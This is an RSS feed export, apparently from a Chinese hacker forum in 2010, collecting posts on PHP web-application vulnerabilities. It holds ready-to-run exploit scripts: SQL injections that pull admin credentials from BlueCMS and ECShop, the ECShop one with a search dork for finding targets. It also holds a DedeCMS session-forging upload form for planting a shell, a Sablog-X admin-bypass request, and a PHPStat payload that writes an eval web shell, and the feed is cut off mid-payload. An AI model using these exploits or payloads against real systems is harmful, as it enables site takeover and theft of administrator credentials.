<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[Wolves Security Team]]></title>
		<link>http://bbs.wolvez.org/index.php</link>
		<description><![CDATA[The most recent topics at Wolves Security Team.]]></description>
		<lastBuildDate>Thu, 02 Sep 2010 11:59:25 +0000</lastBuildDate>
		<generator>FluxBB</generator>
		<item>
			<title><![CDATA[BlueCMS getip()注射漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=148&amp;action=new</link>
			<description><![CDATA[<p>by cnryan<br />Team: bbs.wolvez.org</p><br /><p><strong>一、描述</strong><br />BlueCMS是一个地方分类信息门户专用CMS系统。<br />程序在使用getip()函数获取客户端ip时没有严格过滤数据，导致sql注射漏洞。</p><br /><p><strong>二、分析</strong><br />&#160; &#160; &#160; //comment.php</p><p>$sql = &quot;INSERT INTO &quot;.table(&#039;comment&#039;).&quot; (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)VALUES (&#039;&#039;, &#039;$id&#039;, &#039;$user_id&#039;, &#039;$type&#039;, &#039;$mood&#039;, &#039;$content&#039;, &#039;$timestamp&#039;, &#039;&quot;.getip().&quot;&#039;, &#039;$is_check&#039;)&quot;;&#160; &#160; &#160; &#160;// 注意getip()<br />$db-&gt;query($sql);</p><p>接下来看看这个函数<br />&#160; &#160; //include/common.fun.php</p><p>function getip()<br />{<br />if (getenv(&#039;HTTP_CLIENT_IP&#039;))<br />{<br />&#160; &#160;$ip = getenv(&#039;HTTP_CLIENT_IP&#039;);&#160; &#160; &#160; &#160; //可伪造<br />}<br />elseif (getenv(&#039;HTTP_X_FORWARDED_FOR&#039;)) <br />{ <br />&#160; &#160;$ip = getenv(&#039;HTTP_X_FORWARDED_FOR&#039;); //可伪造<br />}<br />elseif (getenv(&#039;HTTP_X_FORWARDED&#039;)) <br />{ <br />&#160; &#160;$ip = getenv(&#039;HTTP_X_FORWARDED&#039;);<br />}<br />elseif (getenv(&#039;HTTP_FORWARDED_FOR&#039;))<br />{<br />&#160; &#160;$ip = getenv(&#039;HTTP_FORWARDED_FOR&#039;); <br />}<br />elseif (getenv(&#039;HTTP_FORWARDED&#039;))<br />{<br />&#160; &#160;$ip = getenv(&#039;HTTP_FORWARDED&#039;);<br />}<br />else<br />{ <br />&#160; &#160;$ip = $_SERVER[&#039;REMOTE_ADDR&#039;];<br />}<br />return $ip;<br />}</p><p>漏洞比较简单，$_SERVER老掉牙的问题。</p><br /><p><strong>三、利用</strong></p><p>最后附上一个exp<br /></p><div class="codebox"><pre class="vscroll"><code>&lt;?php
print_r(&#039;
+---------------------------------------------------------------------------+
BlueCMS v1.6 sp1 Getip() Remote SQL Injection Exploit
by cnryan
Mail: cnryan2008[at]gmail[dot]com
Blog: http://hi.baidu.com/cnryan     

            W . S . T                        
+---------------------------------------------------------------------------+
&#039;);
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Example:
php &#039;.$argv[0].&#039; localhost /bluecms/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}
error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);
$host = $argv[1];
$path = $argv[2];
send();
send2();
function send()
{
    global $host, $path;
    $cmd = &quot;mood=6&amp;comment=test&amp;id=1&amp;type=1&amp;submit=%CC%E1%BD%BB%C6%C0%C2%DB&quot;;
    $getinj=&quot; 00&#039;,&#039;1&#039;),(&#039;&#039;,&#039;1&#039;,&#039;0&#039;,&#039;1&#039;,&#039;6&#039;,(select concat(&#039;&lt;u-&#039;,admin_name,&#039;-u&gt;&lt;p-&#039;,pwd,&#039;-p&gt;&#039;) from blue_admin),&#039;1281181973&#039;,&#039;99&quot;;
    $data = &quot;POST &quot;.$path.&quot;comment.php?act=send HTTP/1.1\r\n&quot;;
    $data .= &quot;Accept: */*\r\n&quot;;
    $data .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $data .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $data .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $data .= &quot;Connection: Close\r\n&quot;;
    $data .= &quot;X-Forwarded-For: $getinj\r\n\r\n&quot;;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function send2()
{
global $host, $path;
$message=&quot;GET &quot;.$path.&quot;news.php?id=1 HTTP/1.1\r\n&quot;;
$message.=&quot;Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n&quot;;
$message.=&quot;Accept-Language: zh-cn\r\n&quot;;
$message.=&quot;Accept-Encoding: gzip, deflate\r\n&quot;;
$message.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; GreenBrowser)\r\n&quot;;
$message.=&quot;Host: $host\r\n&quot;;
$message.=&quot;Connection: Keep-Alive\r\n\r\n&quot;;
$fd = fsockopen($host,&#039;80&#039;);
if(!$fd)
{
    echo &#039;[-]No response from&#039;.$host;
    die;
}
fputs($fd,$message);
$resp = &#039;&#039;;
while (!feof($fd)) {
    $resp.=fgets($fd);
}
fclose($fd);
preg_match_all(&quot;/&lt;u-([^&lt;]*)-u&gt;&lt;p-([^&lt;]*)-p&gt;/&quot;,$resp,$db);
if($db[1][0]&amp;$db[2][0])
{
echo &quot;username-&gt;&quot;.$db[1][0].&quot;\r\n&quot;;
echo &quot;password-&gt;&quot;.$db[2][0].&quot;\r\n&quot;;
echo &quot;[+]congratulation ^ ^&quot;;
}else die(&#039;[-]exploited fail &gt;&quot;&lt;&#039;);
}
?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (cnryan)]]></author>
			<pubDate>Thu, 02 Sep 2010 11:59:25 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=148&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[dvbbs php2.0漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=147&amp;action=new</link>
			<description><![CDATA[<div class="quotebox"><cite>puret_t wrote:</cite><blockquote><div><p>顶楼主<br />两年前的漏洞报告估计官方理都没理...</p></div></blockquote></div><p>:)好久不见大牛现身了</p>]]></description>
			<author><![CDATA[dummy@example.com (xhming)]]></author>
			<pubDate>Mon, 23 Aug 2010 15:52:13 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=147&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[想加入狼族或论坛的同学请进]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=145&amp;action=new</link>
			<description><![CDATA[<p>请有兴趣的朋友将个人原创作品、个人简介、联系方式等信息发mail到wolvezbuzz@gmail.com<br />也可直接在团队<a href="https://www.google.com/profiles/wolvezbuzz#buzz">Google Buzz</a>中留言</p><p>欢迎广大安全爱好者的加入:-)</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Sat, 17 Jul 2010 02:30:35 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=145&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[分析了下某牛的dedecms5.6注入漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=144&amp;action=new</link>
			<description><![CDATA[<p>by:xhm1n9</p><p>&#160; &#160; &#160; 1. 此漏洞最先由toby57牛在http://hi.baidu.com/toby57/blog/item/074f6b592d1dac272834f0c7.html公布出来，本人只是将漏洞跟了下，希望toby57别见怪啊!利用地方不一样,但问题出在同一地方!</p><p>caicai.php<br />...............................................................................<br />if($tid!=0)<br />{<br />$arr = $dsql-&gt;GetOne(&quot;Select * From `#@__arctype` where id=&#039;$tid&#039; And corank=0 &quot;);<br />if($cfg_list_son==&#039;Y&#039;)<br />{<br />&#160; &#160;$CrossID = GetSonIds($tid,$arr[&#039;channeltype&#039;]);&#160; &#160; &#160; //注意<br />}<br />else<br />{<br />&#160; &#160;$CrossID = $tid;<br />}<br />&#160; &#160; &#160; &#160; .........................<br />&#160; &#160; &#160; &#160; &#160;$typequery = &quot; arc.typeid in($CrossID) And &quot;;<br />}</p><p>$query = &quot;Select arc.*,m.userid,m.face,<br />&#160; &#160; &#160; &#160; &#160; tp.typedir,tp.typename,tp.isdefault,tp.defaultname,tp.namerule,tp.namerule2,tp.ispart,tp.moresite,tp.siteurl,tp.sitepath<br />&#160; &#160; &#160; &#160; &#160; From `#@__archives` arc left join `#@__arctype` tp on tp.id=arc.typeid left join `#@__member` m on m.mid=arc.mid<br />&#160; &#160; &#160; &#160; &#160; where $typequery arc.arcrank&gt;-1<br />&#160; &#160; &#160; &#160; &#160; order by arc.`{$sort}` desc limit $maxrc &quot;;<br />$dlist-&gt;SetParameter(&#039;tid&#039;,$tid);<br />$dlist-&gt;SetParameter(&#039;sort&#039;,$sort);<br />$dlist-&gt;SetTemplate(DEDEMEMBER.&#039;/templets/caicai.htm&#039;);<br />$dlist-&gt;SetSource($query);</p><p>.............................................................................................</p><p>GetSonIds()函数在channelunit.func.php中有定义</p><p>function GetSonIds($id,$channel=0,$addthis=true)<br />{<br />global $_Cs;&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;//注意<br />$GLOBALS[&#039;idArray&#039;] = array();<br />if( !is_array($_Cs) )<br />{<br />&#160; &#160;require_once(DEDEROOT.&quot;/data/cache/inc_catalog_base.inc&quot;);<br />}<br />GetSonIdsLogic($id,$_Cs,$channel,$addthis);<br />$rquery = join(&#039;,&#039;,$GLOBALS[&#039;idArray&#039;]);<br />$rquery = preg_replace(&quot;/,$/&quot;, &#039;&#039;, $rquery);</p><p>return $rquery;<br />}</p><p>//递归逻辑<br />function GetSonIdsLogic($id,$sArr,$channel=0,$addthis=false)<br />{&#160; &#160;echo $id;<br />if($id!=0 &amp;&amp; $addthis)<br />{<br />&#160; &#160;$GLOBALS[&#039;idArray&#039;][$id] = $id;<br />}<br />foreach($sArr as $k=&gt;$v)<br />{ <br />&#160; &#160;if( $v[0]==$id &amp;&amp; ($channel==0 || $v[1]==$channel ))<br />&#160; &#160;{<br />&#160; &#160; GetSonIdsLogic($k,$sArr,$channel,true);var_dump($GLOBALS[&#039;idArray&#039;]);&#160; &#160;//第一个参数为$_Cs下标<br />&#160; &#160;}<br />}<br />}<br />&#160; &#160;漏洞在于引进函数中的$_Cs没有初始化，我们可以利用它的下标注入<br />例:caicai.php?tid=1&amp;_Cs[8)&#039;][0]=1&amp;_Cs[8)&#039;][1]=1就会看到报错信息.</p><p>2,mtypes.php 注入</p><p>elseif ($dopost == &#039;save&#039;)<br />{<br />if(isset($mtypeidarr) &amp;&amp; is_array($mtypeidarr))<br />{<br />&#160; &#160;$delids = &#039;0&#039;;<br />&#160; &#160;$mtypeidarr = array_filter($mtypeidarr, &#039;is_numeric&#039;);<br />&#160; &#160;foreach($mtypeidarr as $delid)<br />&#160; &#160;{<br />&#160; &#160; $delids .= &#039;,&#039;.$delid;<br />&#160; &#160; unset($mtypename[$delid]);<br />&#160; &#160;}<br />&#160; &#160;$query = &quot;delete from `#@__mtypes` where mtypeid in ($delids) and mid=&#039;$cfg_ml-&gt;M_ID&#039;;&quot;;<br />&#160; &#160;$dsql-&gt;ExecNoneQuery($query);<br />}<br />foreach ($mtypename as $id =&gt; $name)&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;//注意<br />{<br />&#160; &#160;echo $name = HtmlReplace($name);<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;echo $id;<br />&#160; &#160;$query = &quot;update `#@__mtypes` set mtypename=&#039;$name&#039; where mtypeid=&#039;$id&#039; and mid=&#039;$cfg_ml-&gt;M_ID&#039;&quot;;<br />&#160; &#160;$dsql-&gt;ExecuteNoneQuery($query);<br />}<br />//ShowMsg(&#039;分类修改完成&#039;,&#039;mtypes.php&#039;);<br />}<br />magic_quotes_gpc=off时，程序没处理$mtypename数组下标的值，可造成注入</p><p>现在的dedecms默认开启了内置80sec写的过滤函数,注入语句要特殊构造，上面给的链接里其实牛人己忽破了，感兴趣的同鞋们可以自己看图本地测试:)</p>]]></description>
			<author><![CDATA[dummy@example.com (xhming)]]></author>
			<pubDate>Fri, 16 Jul 2010 05:09:02 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=144&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Molyx 2.81多个bug]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=136&amp;action=new</link>
			<description><![CDATA[<p>不错，顶一下。</p>]]></description>
			<author><![CDATA[dummy@example.com (toby57)]]></author>
			<pubDate>Sun, 06 Jun 2010 09:55:52 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=136&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=133&amp;action=new</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2010-05-15</p><p>最近好像出了几个ECShop的漏洞,我也来凑下热闹;p</p><p>因为漏洞时间比较长了,代码细节记不清了,所以就不写分析了,原理上和<a href="http://www.80vul.com/pch/pch-005.txt">[PCH-005]</a>一样的,有兴趣的tx可以自己分析下:)</p><p>EXP<br /></p><div class="codebox"><pre class="vscroll"><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
ECShop &lt;= v2.7.2 SQL injection / admin credentials disclosure exploit
by puret_t
team: http://bbs.wolvez.org
dork: &quot;Powered by ECShop&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php &#039;.$argv[0].&#039; localhost /ecshop/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(&#039;#\&#039;:([\S]+):([a-z0-9]{32})\&#039;#&#039;, $resp, $hash);

if ($hash)
    exit(&quot;Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);

function send()
{
    global $host, $path;
    
    $arr = array(&#039;attr&#039; =&gt; array(&#039;\&#039;) AND 0 UNION SELECT (SELECT CONCAT(0x27,0x3a,user_name,0x3a,password) FROM ecs_admin_user WHERE action_list=\&#039;all\&#039; LIMIT 1), 1#&#039; =&gt; 1));
    $cmd = base64_encode(serialize($arr));

    $data = &quot;GET &quot;.$path.&quot;search.php?encode=&quot;.$cmd.&quot;  HTTP/1.1\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Connection: Close\r\n\r\n&quot;;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Sat, 15 May 2010 02:18:57 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=133&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[dedecms5.1注入]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=128&amp;action=new</link>
			<description><![CDATA[<p>5.1测试的没有.</p>]]></description>
			<author><![CDATA[dummy@example.com (jackal)]]></author>
			<pubDate>Sat, 06 Mar 2010 06:10:18 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=128&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[DEDECMS v5.5 GBK Final 的一个鸡肋漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=125&amp;action=new</link>
			<description><![CDATA[<p>在session.auto_start开启的情况下可以任意覆盖$_SESSION变量，我们可以伪造管理员登录并上传文件</p><p>/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php</p><p>上传时重命名为&#160; &#160; *.php.<br />即可绕过检查上传shell</p><p>exp:<br />&#160; &lt;form action=&quot;&quot; method=&#039;POST&#039; enctype=&quot;multipart/form-data&quot;&gt;<br />&#160; U&amp;nbsp;R&amp;nbsp;L:&lt;input type=&quot;text&quot; name=&quot;target&quot; size=&quot;50&quot; value=&quot;http://192.168.1.110&quot;&gt;&amp;nbsp;&amp;nbsp;<br />&#160; Path:&lt;input type=&quot;text&quot; name=&quot;path&quot; value=&quot;/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php&quot; size=&quot;90&quot;&gt;&lt;br&gt;<br />File:&amp;nbsp;&lt;input type=&#039;file&#039; name=&#039;uploadfile&#039; size=&#039;25&#039; /&gt;(Filetype must be GIF/JPEG etc)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;<br />&#160; &#160; &#160; RenameTo:&lt;input type=&#039;test&#039; name=&#039;newname&#039; value=&quot;shell.asp.&quot;/&gt;&lt;br&gt;<br />&#160; &#160; &#160; &amp;nbsp;<br />&#160; &#160; &lt;input type=hidden name=&quot;_SESSION[dede_admin_id]&quot; value=1&gt;<br />&#160; &#160; &#160; &#160; &lt;input type=hidden name=&quot;bkurl&quot; value=1&gt;<br />&#160; &#160; &#160; &lt;input type=&#039;button&#039; value=&#039;submit&#039; onclick=&quot;fsubmit()&quot;/&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;<br />&#160; &#160; dedecms 0day exp..&lt;br&gt;<br />&#160; &#160; need: session.auto_start = 1&lt;br&gt;<br />&#160; &#160; By toby57&#160; &#160; 2010/2/22<br />&#160; &lt;/form&gt;<br />&lt;script&gt;<br />function fsubmit(){<br />&#160; &#160; var form = document.forms[0];<br />&#160; &#160; form.action = form.target.value + form.path.value;<br />&#160; &#160; tmpstr = form.target.value +&#039;/&#039;+ form.newname.value;<br />&#160; &#160; form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);<br />&#160; &#160; form.submit();<br />&#160; &#160; }<br />&lt;/script&gt;</p>]]></description>
			<author><![CDATA[dummy@example.com (toby57)]]></author>
			<pubDate>Sat, 27 Feb 2010 09:55:07 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=125&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Sablog-X 2.0 后台管理权限欺骗漏洞]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=124&amp;action=new</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2010-02-24</p><p>好久没更新了;p<br />前不久80vul.com公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D</p><div class="codebox"><pre><code>// cp.php

if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...</code></pre></div><p>下面来看下这几个变量是怎么来的</p><div class="codebox"><pre class="vscroll"><code>// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE[&#039;sax_auth&#039;] ? explode(&quot;\t&quot;, authcode($_COOKIE[&#039;sax_auth&#039;], &#039;DECODE&#039;)) : array(&#039;&#039;, &#039;&#039;, &#039;&#039;);
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE[&#039;sax_hash&#039;]);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = &#039;u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity&#039;;
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
    if ($sax_uid &amp;&amp; $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
        $query = $DB-&gt;query(&quot;SELECT s.hash, s.seccode, $userfields
            FROM {$db_prefix}users u
            LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
            WHERE s.hash=&#039;$sax_hash&#039; AND u.userid=&#039;$sax_uid&#039; AND CONCAT_WS(&#039;.&#039;,s.ip1,s.ip2,s.ip3,s.ip4)=&#039;$onlineip&#039;
            AND u.password=&#039;$sax_pw&#039; AND u.logincount=&#039;$sax_logincount&#039; AND s.auth_key=&#039;$sax_auth_key&#039;&quot;);
    } else {
        $query = $DB-&gt;query(&quot;SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=&#039;$sax_hash&#039; AND CONCAT_WS(&#039;.&#039;,ip1,ip2,ip3,ip4)=&#039;$onlineip&#039; LIMIT 1&quot;);
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO[&#039;sessionuid&#039;]的值为管理员的id
    }
    if ($_EVO = $DB-&gt;fetch_array($query)){
        $sessionexists = 1;
        if($_EVO[&#039;sessionuid&#039;]) {
// 流程[3]
            $query = $DB-&gt;query(&quot;SELECT $userfields FROM {$db_prefix}users u WHERE u.userid=&#039;&quot;.intval($_EVO[&#039;sessionuid&#039;]).&quot;&#039;&quot;);
            $_EVO = array_merge($_EVO, $DB-&gt;fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO[&#039;sessionuid&#039;]的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
            $sax_uid = $_EVO[&#039;userid&#039;];
        }
    } else {
        if($_EVO = $DB-&gt;fetch_one_array(&quot;SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=&#039;$sax_hash&#039; AND CONCAT_WS(&#039;.&#039;,ip1,ip2,ip3,ip4)=&#039;$onlineip&#039;&quot;)) {
            dcookies();
            $sessionexists = 1;
        }
    }
}
......
@extract($_EVO);</code></pre></div><p>由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)<br />那么我们如何知道正确的sax_hash和onlineip呢？</p><div class="codebox"><pre><code>// global.func.php

function updatesession() {
...
        replacesession(1);
...
}
...
function replacesession($insert = 0) {
...
$ips = explode(&#039;.&#039;, $onlineip);
...
        $DB-&gt;query(&quot;INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES (&#039;$sax_hash&#039;, &#039;$sax_auth_key&#039;, &#039;$ips[0]&#039;, &#039;$ips[1]&#039;, &#039;$ips[2]&#039;, &#039;$ips[3]&#039;, &#039;$sax_uid&#039;, &#039;$sax_group&#039;, &#039;$timestamp&#039;, &#039;$seccode&#039;, &#039;&quot;.IS_ROBOT.&quot;&#039;)&quot;);
...</code></pre></div><p>replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)</p><p>首先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和onlineip也是我们知道的数据了<br />然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为1],这样我们就可以通过后台权限验证,并获得管理员权限了:)</p><p>PoC:<br /></p><div class="codebox"><pre><code>GET /cp.php  HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Wed, 24 Feb 2010 11:05:19 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=124&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[Php168一个即将被补的代码执行?]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=31&amp;action=new</link>
			<description><![CDATA[<p>08年的老东西了,不过今天在某地方看到了这个exp,很诧异这个怎么泄露出去的...<br />所以还是从内部转出来吧...</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Fri, 01 Jan 2010 15:17:52 +0000</pubDate>
			<guid>http://bbs.wolvez.org/viewtopic.php?id=31&amp;action=new</guid>
		</item>
		<item>
			<title><![CDATA[今年写的几篇老文]]></title>
			<link>http://bbs.wolvez.org/viewtopic.php?id=113&amp;action=new</link>
			<description><![CDATA[<p>PHPStat 2.0 远程代码执行漏洞</p><p>Flyh4t [Wolvez.org]</p><p>PHPStat是一款专业的网站流量统计软件系统，提供网站日志分析、网站数据分析、用户行为分析系统,为客户提供深入挖掘的网站流量交叉数据报告.在访客行为分析,网络营销分析和网站决策支持方面有独特的分析体系,为客户找到数据背后的真实有价值的东西,拿出可执行性建议。该系统开发商普艾斯将自己定位为中国最专业的网站数据分析技术提供商，写出来的代码功能确实不错，但是安全性却非常差，漏洞处处可见。使用PHPStat统计的网站基本上可以被黑客秒杀。<br />&#160; &#160;该系统绝大部分代码是zend加密的，解密后我们来看user_info.php 中普通用户修改统计网站的代码（新建的时候基本相似）<br /></p><div class="codebox"><pre><code>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
……
$fileStr .= &quot;&lt;?\nif( !defined(&#039;WEB_HOME&#039;) ) exit(&#039;Access Denied&#039;);\n&quot;;
                $fileStr .= &quot;if( file_exists( \&quot;../count/exclusion/website_\&quot;.\$websiteid.\&quot;_regexp.php\&quot;)  )\n&quot;;
                $fileStr .= &quot;include_once \&quot;../count/exclusion/website_\&quot;.\$websiteid.\&quot;_regexp.php\&quot;;\n&quot;;
                $fileStr .= &quot;\n//统计网站地址\n&quot;;
                $fileStr .= &quot;\$siteurl = \&quot;&quot;.$_POST[&#039;site&#039;].&quot;\&quot;;\n&quot;;
                $fileStr .= &quot;\n//程序排除IP地址列表\n&quot;;
……
$fileStr .= &quot;\$mainsitecode = \&quot;&quot;.$Tmp[sitegroup].&quot;\&quot;;\n&quot;;
                $fileStr .= &quot;?&gt;&quot;;
                if ( !file_exists( COUNT_DIRNAME.&quot;/exclusion/website_&quot;.$Tmp[website].&quot;.php&quot; ) )
                {
                        write_to_file( COUNT_DIRNAME.&quot;/exclusion/website_&quot;.$Tmp[website].&quot;.php&quot;, &quot;&quot;, &quot;w+&quot; );
                }
……
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</code></pre></div><p>从以上代码可以看出，假设普通用户添加的网站编号为100003，则配置文件为<br />\count\exclusion\website_100003.php，内容格式如下所示：<br /></p><div class="codebox"><pre><code>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
&lt;?
if( !defined(&#039;WEB_HOME&#039;) ) exit(&#039;Access Denied&#039;);
if( file_exists( &quot;../count/exclusion/website_&quot;.$websiteid.&quot;_regexp.php&quot;)  )
include_once &quot;../count/exclusion/website_&quot;.$websiteid.&quot;_regexp.php&quot;;

//统计网站地址
$siteurl = &quot;http://127.0.0.1 &quot;;

//程序排除IP地址列表

//程序包含目录地址列表

//程序所属主站点代码
$mainsitecode = &quot;50&quot;;
?&gt;
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++</code></pre></div><p>从上面的代码可以看出，我们提交的siteurl会被写入php文件中并被双引号括起来。熟悉php的朋友应该明白了吧？利用双引号的特性，我们可以构造一个特殊的siteurl来写入文件并成功执行，我构造的siteurl如下：<br /></p><div class="codebox"><pre><code>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
http://${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4x))}}
